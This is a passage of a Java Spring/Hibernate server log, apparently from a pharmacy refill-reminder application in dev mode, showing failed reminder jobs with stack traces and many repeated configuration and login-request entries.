org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - 